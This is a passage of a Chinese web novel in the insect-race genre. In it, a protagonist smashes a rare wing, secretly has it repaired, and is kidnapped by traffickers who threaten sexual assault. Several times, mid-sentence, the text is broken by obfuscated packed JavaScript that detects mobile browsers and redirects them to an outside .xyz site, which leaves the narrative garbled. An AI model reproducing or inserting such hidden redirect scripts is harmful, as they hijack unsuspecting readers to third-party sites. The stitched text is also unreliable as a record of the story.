好不容易可以出头了,只要攒完能量,不仅可以送小鬼回蓝星,它也能重新和主脑链接。 是好事啊! 「我做不出这种事。」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948569|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伽迩闭了闭眼,嘴里发出一声轻嗤,不知道是在嘲笑大嘴,还是自己。 还以为是什么珍贵的模型。 摔坏了无所谓嘛,反正……摔的不是他的东西。 只要做完了,他就能走了。 走了,这个虫族世界就和他没关系了。 他从来不是什么高尚的人。 无数次想要抛却一切地逃走。 做一个坏蛋,比自以为道德高尚的虚伪者要舒服得多。 真是可笑,他早该想到的,一个模型怎么会卖出五亿高价。 他好像差点要把人家心中的念想给砸碎了…… 伽迩抱紧了玻璃柜,木声道:“走吧。” 雄虫的神情变得很淡,好像是下定了某种决心,反而平静。 大嘴终于害怕了,它怕雄虫放弃任务后再也无法和主脑链接,它会和雄虫一起走到小说的结局,然后在监牢里死去。 「等等!」 大嘴叫住了伽迩。 「小鬼,小鬼小鬼,事情没有你想象的那么坏,是有转机的!!」 大嘴急切道:「翅膀弄坏了还能修!你只要丢地上就行!!」 「只要有裂痕!不需要你踩,也不需要你摔!!」 大嘴差点带出哭腔:「你只要做到最基础的部分就好了,走了这个剧情好吗?求你了!」 「求求你……」大嘴哑声道。 它好想回去,它也想回家…… 预想再也回不到蓝星的伽迩徒生出的伤感蓦然一滞:「还能修?」 「能修!!」大嘴像抓住了某个救命稻草,语速极快地回复道:「有个叫肖的人!呃不是,虫!他是虫纹和虫翅修复大师!!」 「你交给他,一定会还来一个崭新的虫翅,我保证!!」 伽迩有种血液无处宣泄,倒流之后又垂直坠落的感觉。 他呼吸停了几停,才问:「真的?」 大嘴急出气喘来了:「真的!」主角攻的金手指,能不真? 「你确定?」 「我确定!!」 「没有再骗我?」 「没有,这次绝对没有再骗了,我拿我的编号起誓!」 伽迩不放心,还是反复试探了好几遍,确定这系统不像是骗他的,握紧的拳心缓缓地放开。 他松口气,后面是说不出的心累,他看向大嘴的表情十分复杂:「下次你能不能把这些补救措施说完整?」 吗的!是他不想说吗? 这他爹是诺菲西斯要干的事,结果要被你做了! 大嘴疯狂想骂人,但它什么也没说,憋在心里把自己气得半死,伽迩只能看见大嘴的嘴巴在激烈地翕动着,看不懂它在说什么,心道大嘴的羊癫疯也不是一天两天了,一律当没看见处理。 当捧着玻璃柜来到登记台前的等候区,伽迩脚下一顿,捕捉到了虫群中那投过来的、极快的一瞥。 不知怎么,心脏轻轻地抽了一下。 那眼神稍纵即逝,再次看过去,已经没了踪迹,但伽迩想: 原来是在意的。 温柔稳重的雌虫也会有情绪外泄的时候。 伽迩垂下眼帘,在玻璃箱上轻轻地摸了摸,随后极轻地笑了一下,再次抬起眼时,唇角已被压平。他轻咳了一声,大步流星地走上前,准确地找到了那个装作不在意的雌虫。 “哝。” 伽迩抬起手,把玻璃柜塞进了诺菲西斯的怀里,语气生硬道:“先放你这保管。” “……” 虫声嘈杂。 诺菲西斯下意识地接住了玻璃柜,把它埋进胸口的位置。 他先是一愣,匆匆看了柜子里的虫翅一眼,似乎是不敢置信,又怔怔地抬起头,而雄虫已经转身走在前面,仿佛交给他都是一个恰如其分的巧合。 “还不快走?”伽迩头也不回地说。 雄虫平日里最爱的催促声,总是引他烦,可现在却莫名地让诺菲西斯心脏微不可查地跳了跳。 像一只小狗的爪子, 非常轻的,抓在了心口的地方。 挠了一下。 20.摔了 「请完成主线系列任务:坎德拉非的访客(3)销毁虫翅」 「目标:完成提词器标红的关键剧情点(3)」 「惩罚:电流8级。」 「奖励:不详」 — 诺菲西斯的手僵悬在半空中,过了几秒,手指微微蜷缩着放了下来。 “没有,只是想帮您拿。” “只是想帮我拿?” 伽迩慢慢靠近了雌虫,黑皮鞋踩在大理石的地板上,发出哒、哒的声音。 他轻瞥了诺菲西斯一眼,也没多说什么,嘴角微微扯动了一下,看起来就像是在调笑:“上飞行器吧。” “是。” 诺菲西斯的目光一瞬不瞬地盯着那箱被雄虫抱在怀里的虫翅,随后眼睫垂落,紧跟上去。 这次标红的剧情点有很多,几乎通篇红色。 伽迩上了飞行器就往沙发上一坐,身体陷入皮革里,腿上放着那个玻璃箱。 诺菲西斯上来时,雄虫已经拿出了翅膀,他举着虫翅,在车灯的照亮下细察把玩。 雌虫安静地靠近,就听伽迩说:“你觉得这虫翅漂亮吗?” 诺菲西斯说:“漂亮。” “听说是海伦那金闪蝶的翅膀,很稀有。”伽迩说:“你有听说过吗?” 诺菲西斯点头。 伽迩站起身,朝雌虫走去。他捏着雌虫的下巴,硬是让后者低下头,直视自己怀里的虫翅:“我看你的眼睛都快粘在上面了,很喜欢吗?” “那我送你好不好?” 诺菲西斯一怔,抬起眼,看着雄虫垂了垂眼睫,斜睨着看向沙发旁的垃圾桶。 雌虫似有所感,瞳孔骤缩—— “啪。” 雄虫的手一松,虫翅精准地落进了垃圾桶,发出碎裂的声音。 “送你了,捡吧。” 诺菲西斯喉咙滚动了一下,盯着垃圾桶的方向,手指攥紧了,深深嵌入了肉里。 他想立刻伸出腿,但听见雄虫说“还不谢谢我”又硬生生压了回去,对着雄虫冷漠的、近乎轻蔑的视线,绷直了脊背,深深地弯下了腰:“谢谢您。” 诺菲西斯道谢完,便朝垃圾桶走去。 垃圾桶不大,里面有吃剩下的垃圾,不用的赃物,空气中蔓延着难闻的气味。 诺菲西斯讨厌脏,他的身上一直是一尘不染的白,这次要不顾形象地埋头进去,在垃圾桶里捡东西。 他在桶前立定,随后缓缓地蹲下来,当看见深陷脏污的虫翅变得四分五裂,原本漂亮的翅尖勾着湿润腐烂的果皮,向前伸的手倏然一顿,用力地闭了一下眼。 雌虫浅浅吸了口气,重新睁开眼时,身体完全蹲下来,膝盖跪在了地上。 冰冷透过钢材刺入骨髓。 他垂下头,也没管落下来的长发掉进桶里,继续伸手去够。 ……一片。 ……两片。 诺菲西斯无声地数,轻轻地撇去了碎片上的脏物,放到一旁。 马上……就能把它们全部带回去了。 就在即将拿起第三片的时候,阴影投落在雌虫的侧脸,紧接着有什么抓住了他的手腕。 伽迩紧抿着唇,指节按压着雌虫的腕骨,不自觉间因用力泛起青白。 “好了,到此结束。” “前面都是我开玩笑的,没准备送给你,不许再捡了!” 伽迩抬起雌虫的手腕,高声说道。 雌虫偏过头。 他的余光恰好对上了伽迩的视线,那双平静柔和的蓝眸像无声压抑的大海,海下突然掠过一抹浓稠的黑色,如一条窜出来咬住猎物的海蛇,充斥着毒辣阴翳。 伽迩眨了下眼睛,下一秒,眼前的雌虫又眼睫垂落,姿态乖顺,仿佛刚才的一切都是错觉。 应该是……错觉吧? 「任务完成!接下来是寻找叛军~」 大嘴难得雀跃,伽迩却有种说不上来的感觉,他嗯了一声,缓缓泻出一口气。 终于结束了。 这段剧情让他做了几天的心理建设,半路上还得知是真虫翅,更难动手。 幸好第三片就满足节点要求了。 伽迩看了雌虫一眼,有些担心他的状态,这是他重要的遗物,怎么说也不该无动于衷。 必须要想办法修好。 伽迩这么想,直到雌虫站起身,飞行器停靠在石岩星的住宅处,他都因愧疚没和雌虫说过一句话。 回去后,诺菲西斯神色如常,还是主动去厨房给他做饭。 侍从无所事事,只能在一旁打下手。 看着雌虫的背影,伽迩想到一个词“贤妻良母”,更是无数次觉得自己真是个渣渣。 只有渣渣才会折辱了别人以后,还让这个人为自己洗衣做饭。 吃完饭,伽迩说想去休息了。 看到雄虫进了房间,诺菲西斯本想去飞行器找翅膀的碎片,脖子上的颈环却突然震动。 雌虫的眸光暗了下来,皱了皱眉,进书房点开了颈环的通讯设备。 “什么事?” · 伽迩悄悄打开了一条门缝。 他见诺菲西斯不在门外,于是走了出来,看到正在打扫的侍从。 “少爷。” “嗯。” 伽迩摸了摸鼻子,轻咳了一声,对侍从说:“好好干,一点也不剩,把这些垃圾全部清扫干净,后面给你加薪。” 侍从齐齐点头:“是。” 糊弄完了侍从,伽迩装作若无其事地走出住宅,在他的鼓舞下,没打扫完屋子的随从短时间都不会出来。 也不会有虫看见他翻垃圾桶的囧事了。 伽迩偷偷打开飞行器的舱门,看到没有倒掉的垃圾桶,心下稍定,马上蹲下来,埋头在里面翻找。 垃圾桶脏、乱、差,有干垃圾也有湿垃圾,伽迩不知道感慨了多少遍干湿分离是多么伟大的一项规定,政.府还是很有道理的。 伽迩把垃圾倒出来,又一个个丢回去,确定十六片没有遗漏,擦了擦上面的污垢,用早就准备好的袋子将翅膀装好,然后站起来,匆匆离开飞行器,朝大嘴所说的方向走去。 因为「肖」所在的地方较远,伽迩是打悬浮车过去的。 听大嘴说,「肖」是一个非常温柔友好的雄虫,只要钱付得差不多,都会尽力帮忙修复,在石岩星小有名气。 伽迩点头,温柔的虫,不是脾气古怪的那种,那就好办了,他不缺钱,肖不缺技术,刚好。 下车后,伽迩马上朝雄虫的方向赶。 巷子昏暗,「肖」的杂货铺又是在最里面,小路不好走,坑坑洼洼的地沾了土。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955313|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 伽迩戴着斗篷,偶尔会和小巷子旁或单膝坐下或倚墙站立的雌虫对视。 他们穿着脏灰的背心,指间燃起星星点点的光,阴沉的眼神追随着伽迩,有些还会咧嘴笑一笑,呵一口,往地上吐出脓痰。 大嘴看了不免有些害怕:「喂,小鬼,我们回去吧,这里有点太危险了……」 伽迩却没有看周围虫的视线,格外平静:「来都来了。」 「来都来了是用在这种地方的吗?」大嘴表示质疑。 伽迩没有再说话,他加快脚步地走,脚下却显得不紧不慢,十分淡定。 那些雌虫也只是看着,没有做出多余的动作。 很快,他来到了这间门面干净的杂货铺。 与周遭肮脏浑浊的环境不同,这个叫「肖」的店,散发出一种清新好闻的味道,门口树立了一块板子,上面还贴着密密麻麻的便利贴,开着小花的藤蔓绕着黑板和店墙向上攀爬,就像黑暗里的一束光。 在虫族很少有这么温馨的装饰,大多是奢华,亦或是破漏,两极分化严重。 伽迩怔了怔,想起了学校门口的奶茶店,经常会有学生在上面写下自己未来的梦想。 比如再战华清! 比如我喜欢你某某某。 又比如天天开心~什么的。 伽迩陷入了回忆,这时,门悄然打开,不远处隐隐传来风铃的声音。 “安德路,丹尼尔,你们别闹了!” 温润的男声透出几分无奈。 一个黑发黑瞳的青年抱着一盆花从门内走出,恰好看见了在门外发呆的伽迩,愣声问: “你是……?” . 另一边,诺菲西斯报告了一遍证据的搜集进度。 情报部的老头烦得很,一句话要啰里八嗦地说上几遍,不过,这次传给他的资料关乎到虫口和器官买卖的几个窝点,和他们的计划正向相关,诺菲西斯就算不耐烦,也耐着性子听完,并接收了他们发过来的资料。 「A7,查到雷索家和器官买卖有关,你就可以回来了。」情报部的老头说:「是统领下的命令。」 诺菲西斯顿了顿:「我知道了。」 等诺菲西斯挂掉通讯,从书房里出来,时间已经过去两个小时。他一出门就看见打扫的侍从,边上是巨大的黑色垃圾袋,匆匆走过来问:“垃圾桶的东西呢?” 侍从停下手边整理的动作:“垃圾?都清理了。” “全部,清理了?”诺菲西斯一字一顿地问。 “呃,对,少爷吩咐要快点清理,一个都不要剩……” 诺菲西斯的胸口剧烈起伏了一下,转而看向边上的垃圾袋,唇线抿成了一条直线: “你们先下去,接下来我会处理。” 几个随从面面相觑,但还是点头说是,转身离开了。 他们走后,诺菲西斯走上前,把密封好的垃圾袋全部撕开,尽数倾倒出来,跪在垃圾堆里寻找。 没有…… 没有! 去哪了? 诺菲西斯磨了磨牙,眼里隐隐长出血丝。 他的脑海里忽然出现了侍从说的话,下颚的肌肉微微抽动,不怒反笑,闭着眼,低声地,从口中挤出: “少爷吩咐要快点清理,一个都不要剩。” “哈。” 21.修虫翅 “我是……顾客。” 清冽的声音缓缓响起,听起来是个少年。 肖放下手中的花盆,暗暗打量着眼前的人,脸上笑容满面,略带歉意道:“不好意思,我们已经打烊了哦。” 少年却不依不饶:“我可以给你钱。” 他着重强调:“很多钱。” 肖想说很多钱又怎么样?直到他看见伽迩伸出的终端机中,余额显示的零无穷无尽,张了张嘴,庆幸自己没把这句话说出口。 “你想修什么?” 肖立马扬起笑脸,非常热情地拉着伽迩的手臂:“欢迎光临肖的小店铺~” “雄主。”门背后走出个高大黝黑的青年。 他撩起门帘,此时被划出刀疤的脸上挤出僵硬的笑容,眼神温柔地注视着肖:“您都忙了一天了,该休息了。” “不忙。” 肖用手肘狠狠地怼了雌虫一下,在后者茫然的眼神中越过他,亲昵地拉了拉伽迩:“请进吧,这里欢迎你!” 收到雌虫不悦的眸光,伽迩把斗篷捂得严严实实,低垂着头,被雄虫拉进了小屋。 取暖器呼呼运作,小屋温暖舒适。 暖橘色的灯光下,有个穿黄色围裙的雌虫在厨房忙活,身材更加瘦削。 “雄主,该吃晚饭了。” “好——” 肖跑过去在围裙雌虫的侧脸上印了一个吻,又在高大雌虫的脸上印了个吻,彼此相视一笑。 乍一看是十分温馨的场面。 伽迩却目不转睛地看着高大雌虫,生出一种奇怪的违和。 「大嘴,我没记错的话……这个虫是塞达的雌侍?」 大嘴嗯哈半天:「好像是哈。」 伽迩觉得不对劲,但他来不及细想,肖便笑迎过来:“拿出来吧。” 肖伸出手,掌心摊开向上。 事到如今伽迩也没别的选择,把藏在斗篷里的一袋破碎的虫翅放在雄虫的掌心。 两侧的雌虫都脸色一变,眸底骤生出敌意。 肖皱了皱眉,还是接过了那袋虫翅:“行,三天后来拿,过期不候,不负责保管啊。” 伽迩点点头,他在石岩星也要呆一段时间,所以不急。等寻找叛军的任务做完,就把翅膀偷偷给诺菲西斯。 伽迩问:“多少钱?” 肖眼珠子转了转,张开五个手指:“五十万德朗。” 伽迩拿出终端机,在肖的终端上划一下,把钱尽数转走。 肖暗叹,果然是个大财主,眼睛都不眨。 “可以了吗?” 肖说:“可以。” 伽迩点头,转头走出小屋。 · 夜色沉酽,寒鸦四起。 离开了小屋的温度,伽迩顿觉阴森寒意。 这条巷子阴湿狭窄,灯光暗淡,几乎是月光撑起一片熹微明亮。 他偷瞄两侧,斑驳的墙壁上贴满了脏污的广告,原本处在墙边的雌虫不见了踪影。 伽迩心下一沉,皮鞋踩在水洼里,脚步格外沉重。 没有了星星点点的火光,没有了那些雌虫的喘息声,巷子万籁俱静,只有他快速行走水花四溅的声音。 「小鬼!前面有几个雌虫!」大嘴惊慌道。 果然—— 伽迩咬咬牙,猛然转身朝后面跑。 「后面也有!!」大嘴大叫道。 伽迩缓缓呼出浊气,停下了奔跑,大嘴问:「从上面爬墙行不行?」 「来不及了。」 抬头看了眼上面,伽迩脸色略沉地后退几步。 他的两侧围墙不知道何时蹲了两只雌虫,翅膀遮住了月光,巨大的黑影笼罩在他身上。他们居高临下,手脚并用地抓着墙,像□□一样张.开.腿,看向伽迩的脸上狰狞地露出一个笑容。 「完蛋了完蛋了,一定是猜到你是雄虫了!」大嘴急死了:「被抓住就只能卖去做小雄.妓了。」 伽迩没空吐槽这小雄.妓是个什么玩意儿,不动声色地观察了一下两侧的形势。 目前看来,后面包抄的虫较多,应该是怕他回小屋找那个肖庇护,上面的雌虫一翅膀就能呼死他,根本来不及爬上去再翻下来。 只能正面突破了! 伽迩凝视着眼前的几个高大雌虫。 他们身材高壮,肌肉虬结,宽阔的胸膛如一堵肉色的墙,死死挡住他的去路。 “小宝贝儿,在这里做什么呢?” 带头的雌虫从喉咙里发出沙哑的气音,两只粗长的虫须高高立起,兴奋地发着抖。 他是里面最壮的一只,身体结实,伽迩看了眼自己的拳头,白白嫩嫩,不知道能起到多少作用。 “嗯?怎么不说话。” “不会是吓傻了吧哈哈哈哈哈。” “真可爱,看自己拳头是想着怎么打我们吗?” 几个雌虫前仰后合地笑,笑声刺耳,宛如魔音。 看着后面不断围上来的雌虫,伽迩敛了一下眸,主动走上前,声音颤抖道:“能别伤害我吗?” 雌虫先是一愣,随后裂开嘴笑:“当然可以,我的宝贝。” “你会爽死的,哦,我的意思是你会爽飞过去。” “我们不会伤害你……” 带头的雌虫拍了拍手:“过来吧小宝贝。” 「喂喂,小鬼,你不会真要陪他们吧?」 看着伽迩一步步靠近,大嘴的嘴唇都发起颤。 兜帽下的雄虫看不清神情,只是问:「把他们的虫须折断了会怎么样。」 「呃虫须?」大嘴没反应过来,下意识地思考了一下:「应该会很痛,毕竟是感应器官。」 伽迩勾了一下唇角。 「喂喂喂,你不会——」 砰—— 有什么撞在了雌虫身上。还没等岿然不动的雌虫嘲笑这轻飘飘的力度,那个身影又抓住了他的脖子往下带,一肘砸向他的鼻子。 “啊……!” 雌虫条件反射地俯下身,血腥气从鼻腔里溢出,雄虫又对着同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957442|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的位置猛砸了几下,动作又快又狠,鼻梁下喷流出刺眼的血红。 两根触须就在这一瞬垂落下来,像一条软趴趴的可怜虫,被一只手猝然抓住,狠狠向地下拽。 一切都发生在电光火石之间。 失去警惕心的雌虫意识还没回归大脑,就听到血肉折裂的声音。一个影子飞了过去,简单的故技重施,拽下虫须,从空隙间窜走。 这条狭窄的道看似被几个雌虫阻拦,但拦住他的仅有两排,突破两只雌虫就能跑出去。 大嘴目瞪口呆地看着,一套丝滑小连招根本没法反应,恍惚间它好像想起,这个雄虫有过前科…… “虫屎的,抓住他!!” 一声怒吼,无数道风从耳旁刮过。 伽迩已经逃出包围,张开嘴,大口大口的呼吸,把全部的氧气输送到自己的血管乃至肌肉,拼命调动着自己的四肢奔跑。 他的胸口剧痛,喉咙口冒出了腥气,鼻腔因吸入大量的冷风隐隐作痛。心肺燃烧发热,几乎喘不过来气。 喘息声盖过了奔腾的心跳。 伽迩紧盯着前面地转角,眼睛酸胀地虚眯起来, 以防打不到车,他让司机留下,答应后面付他尾款,这条小巷子不深,再坚持坚持就能到了!! 就在即将越过墙角,伽迩看见飞行器的那一刻,粗壮的手臂从身后箍住他的脖子,骤然向后压。伽迩瞳孔扩大,直直地倒入身后的雌虫身上。 雌虫的身体硬得像铁块,扣着伽迩的脖子,阴狠的声音冷冰冰地响起:“跑啊?再给我跑。” . 撕裂的垃圾被重新用袋子封好。 诺菲西斯的眼眸如淬了冰,散发出阵阵寒意。 买了,摔了。 雄虫本来就是这样一种生物。 喜怒无常,做什么全靠自己心意。 死者的身体对他们来说不算什么,不过是一件珍贵的藏品,弄坏了还能再要。 而他也不过是伽迩·雷索眼里的玩具。 开心了给点甜头,不爽了就摔打发泄。 什么清理干净,不过是看出他的在意,所以不想让他捡走。 应该再小心的…… 雌虫在垃圾袋旁矗立许久,压下心里的怒意,转身回屋。 客厅里安安静静,侍从们清扫完垃圾,都相继回了房间。 极度的愤怒后,诺菲西斯反而冷静了下来,他从冰箱里拿出牛奶,在锅里加热后倒入了玻璃杯。点心是他早就准备好的,雌虫烘烤以后便放进餐盘,和热牛奶一起送去雄虫的房间。 叩叩—— “雄主。” 诺菲西斯唤了一声。 “雄主,您睡了吗?” 迟迟没得到回音,诺菲西斯紧蹙着眉,终于察觉到一丝不对,低声问:“雄主,我进来了。” 把手被轻轻地转开。 诺菲西斯推门进去,看见了眼前空无一虫的房间,床上的被子整整齐齐地叠成豆腐块。 而雄虫,不见了。 22.绑走 伽迩被绳子反手捆绑,眼睛也被沾了臭汗的布条蒙住,尖锐的虫刃抵着他的后腰,威胁着将他押上了一个漆黑的空间。 “老实点。” 伽迩正想说话,手腕被猛地一拽,接着一推,踉跄几步跌坐在柔软的垫子上。 舱门一关,轰得一声响。 伽迩紧闭的眼突然刺入白昼般的光线。 “哦……真漂亮,捡到宝贝了。” 耳边传来男性磨砂似的感慨声,像年久失修的齿轮。 伽迩缓缓睁开了眼,眼前是无数条粗长的铁柱,铁柱的另一侧站立着那些弯腰俯视他的雌虫。 头顶的兜帽早被拿下,养尊处优的脸暴露在空气中。他的黑发乖顺地贴着脸颊,半垂的眼睫粘出湿湿的一小簇,身上因奔跑渗出来的汗散发出酸酸甜甜的香气,引得旁侧的雌虫纷纷侧目。 几个穿工字背心的雌虫蠢蠢欲动,带头的就是被他折了触须的一只,他的虫须并没有连根拔起,只是因折充血而软绵绵地趴下。 他恨恨地盯着伽迩,不止有狠毒,更多出几缕耐人寻味的颜色。 “敢折我的须,我会让你付出代价。” 他贴近栏杆,半虫化的手抓住杆子,对伽迩的脸吐出一口浊气。 “哈,嗯……” 伽迩闭眼别过了脸,躲开了雌虫滚.烫的气息。听到耳侧的呻.吟声,又抬眼望去,发现旁边还挪动着一只穿着清凉的花白雄虫,手腕被链条锁在栏杆的柱子上,除了一件衬衫,下.身不着寸.缕。 一阵恶寒划过伽迩的皮肤,挤入他的毛细血管。 他的表情冷硬没有说什么,但笼子外的雌虫很乐意逗他。 “美丽的小东西,哦,看看你的表情,觉得我们很恶心吗?” “没关系,等到后面,你会比我们更热衷于这个游戏……” “哈哈,一个个,大家都有份。” 说完,在场的雌虫都笑了起来。 带头的雌虫伸手穿过笼子想去摸伽迩的脸,下一秒,却因虫须传来的疼痛感,脸色阴沉地收回了手。 他拧了拧拳头,呵了一声,用力地解开裤子上的皮带,正要弯身进笼子,突然一个雌虫叫住他: “等等。” “干什么?” 带头雌虫不耐地回头,见这个雌虫面色犹豫道:“这个雄虫,有点眼熟。” “眼熟?” 带头雌虫眯起眼:“哪里眼熟?” “他,好像是,雷索家的……” 带头者拧紧粗眉,努力回想,终于从一团黄色废料里揪出了一些记忆。他脸色大变,反问道:“伽迩·雷索?” “对……如果是他,我们惹不起。”雌虫咽了口唾沫。 伽迩见状,趁此说道:“是,我是伽迩·雷索。识相点就把我放了,还能饶你们一条狗命。” 大嘴:「哇,小鬼,有气势有气势。」 “滚你的,放了你我们能有活路?”雌虫吼道。 伽迩冷冷道:“放了我至少不会有虫盯,你不放了我,就是与我家族为敌,他们会追你们到天涯海角,我是唯一一个独生子,孰轻孰重分清楚。” 雌虫磨了磨牙,牙齿咯咯作响,心道:难道就这么算了? 但是他不甘心,如果把雄虫放了,他们就要过东躲西藏的生活了。 “我有个办法。” 那个雌虫又一次来到带头者的身边,低声嘟囔了什么,后者的眉头很快就舒展开来。 “好,就这么办。” 伽迩听不见他们说了什么,于是问大嘴。 大嘴欲言又止,断断续续地开口:「他们要把你卖给雷索家族的敌对势力。」 伽迩愣住了,思忖半晌,确实想到了几个名字,雷索家族树敌不少,这些都是能和他们正面对刚且不对付的家族。 大嘴焦急道:「千万不能被卖过去啊,一旦被关进主星高层的笼子里,你就很难出去了。」 伽迩点头:「我知道,找机会我就逃出去。」 大嘴狐疑道:「你怎么逃?终端、通讯器都被拿走了。」 伽迩回道:「那个变装道具还在。」 大嘴懵了:「啊?什么变装。」 伽迩解释:「就是原主之前变装出去玩结果撞见诺菲西斯的道具啊,家里有不少,被我全带过来了。」 大嘴:「……?」 伽迩轻咳一声,那些道具都是胶囊体,吃了以后能将虫小幅度调整成其他脸,酷似化妆。他很好奇,原本是想拿出来玩的,现在倒是带对了。 知道动不了他后,那些雌虫就失了兴趣,他们四散开来各做各的,伽迩则是默默观察着空间的结构。 显而易见,这是一个飞船的舱室,虽然笼子的顶部盖了半块布,伽迩还是能看到隔壁也放着一个笼子,疑似有其他虫存在。 伽迩犹豫片刻,救他们的话,非但自己不能逃脱,其他虫也可能会遭到虐待。 这群雌虫不是善茬,为了抓住他,还朝着他的腹部揍了一拳,差点揍晕过去。 想到这,伽迩倒吸了口凉气,和塞达那时的小打小闹不同,雌虫的拳头如千斤重,震得他反胃。 若不是专挑雌虫的鼻子和虫须下手,他能不能冲出包围都很难说。 「大嘴,你能与这个飞船共感吗,帮我查查内部构造是怎么样。」 「行。」 很快,得到结构图的雄虫定下了逃跑路线。 最前面的房间是飞船的控制中心,靠近中段的位置是武器室,武器室边就是生活区,而飞船的尾部是引擎和能量反应堆。 如果要影响飞船必须去船头,那里空间不大,要经过武器室把守的雌虫,很容易被逮个正着。但,船尾前有一个小型的操控区域,负责管理总电源。 破坏掉总电源可以引起一部分的混乱,如果运气好把绳子解开,那么趁黑灯瞎火的时候变装,可以更安全地逃走! 想好这些,伽迩紧绷的心脏稍稍松懈,他挪动小腿,选择一个更舒服的位置,靠在栏杆上闭目养神。 又过了三天,伽迩终于从笼子里放出来,负责看守他的雌虫拽着他的绳子往前走。 这几天,他的吃喝拉撒都是在笼子里进行,无论他怎么说,装不舒服,还是什么,在场的雌虫也只是丢给他一个桶,让他自己解决。 他没办法施行他的计划,只能等待,等待开笼子,等待飞船滞留在合适的地方。 在经过隔壁笼子的时候,伽迩的余光瞥到了五六个交叠的身体,暗哑的声音又哭又叫,他不忍多看,很快移开了眼。 来到飞船的控制中心,伽迩被推到一张椅子上,椅子的正对面是一张巨大的荧幕。 他的手被重新捆在了椅背后面,而荧幕上突然出现了一张脸。 看着那张形似塞达的面庞,伽迩有几分意外。他的记忆里有这张脸的影子,是塞达的雌父,同时也是上议院的议员之一。 但雷索家与他交好,怎么会……? “没想到真的在你们这。”中年雌虫挑起眉,惊讶道。 带头的雌虫笑着:“哪里敢骗您。” 伽迩抿紧唇,感受到侵略性的目光在他的身体上下扫动,罗里达从鼻腔里喷出气,双手叠握地撑着桌面:“就是你打了我的雄子,是吗?” 这时候承认不亚于火上浇油,伽迩不说话,但罗里达却很热衷聊天的样子,微微笑道:“打得时候那么狠,现在倒是哑巴了。” “你以为你们雷索家还是曾经的庞然大物,可以一直庇护着你,嗯?” 沉重的虫素压力透过屏幕渗透进来,伽迩的汗毛不知觉地竖立,死死地盯着前面的墙面,才撑着不让自己发出喘息。 这种压力没多久就消散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959034|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,罗里达仅仅是给他一个下马威。他看着雄虫的脸,交叠的手遮住大半张脸,“唔”了一声,敲了敲桌子:“把他外面的衣服扒了给我看看。” 雌虫问:“现在?” “对,现在,我要验货。” 雌虫的笑容意味深长:“验货啊,那是不是裤子也可以扒。” 罗里达点头:“当然,不过我喜欢从上面开始。” 雌虫舔了一下嘴唇,向伽迩的上衣伸去,后者倏地仰起头,直视屏幕里中年雌虫的眼睛:“你说雷索家族不是曾经的庞然大物,但它也不是一块好咬下的骨头,不是吗?” 罗里达只是微笑,像是长辈看晚辈无理取闹的那种包容的微笑。 当第一颗扣子被解开,紧接着是第二颗第三颗,大片的胸.膛暴露在外,伽迩忍着发颤的拳头,继续说:“瘦死的甲虫怎么说也是比蚂蚁大的,得罪雷索家,你们家族也会受伤。这不划算。如果你是为了塞达的事,我们之间仅仅是雄子之间的小小矛盾,这种矛盾由大虫出面就很难看了。” 罗里达的头前倾,盯着伽迩的胸口,轻叹道:“继续。” 雌虫眸色阴暗,掀开衬衣的上半角,雄虫的肩膀圆润,锁.骨勾如月牙般莹白。他舔了舔嘴唇,随后看向了下.面的位置。 伽迩的皮肤接触到外面的空气,不禁发冷,他紧攥着绳子,腕口的青筋蔓延上来:“多年的交情,这样做,会寒了几个家族的心,他们会怎么看你,后面发现是你做的一切,他们会不会担心,你会对他们的孩子动手?” 罗里达没有说话,反而加快了敲击的速度,雌虫明白他的意思,开始解伽迩的裤.子。 伽迩咬牙,知道怎么说也不管用了,这个雌虫不是疯子就是阴险小人,是真准备捅雷索家一刀! 伽迩在脑海里喊:「大嘴,好了吗!!」 啪。 啪、啪。 接连不断的断电声传来,控制室的屏幕也变成一片黢黑。 伽迩不停地呼吸,手掌冰凉,眼睛不禁发酸,原来是大量的冷汗从额头滴入了眼睛。 “怎么回事?” “备用电源呢?!” 雌虫们惊慌失措地大喊。 这时,伽迩站了起来,竭力抱起椅子,疯狂地朝操控室的门跑去。 快点! 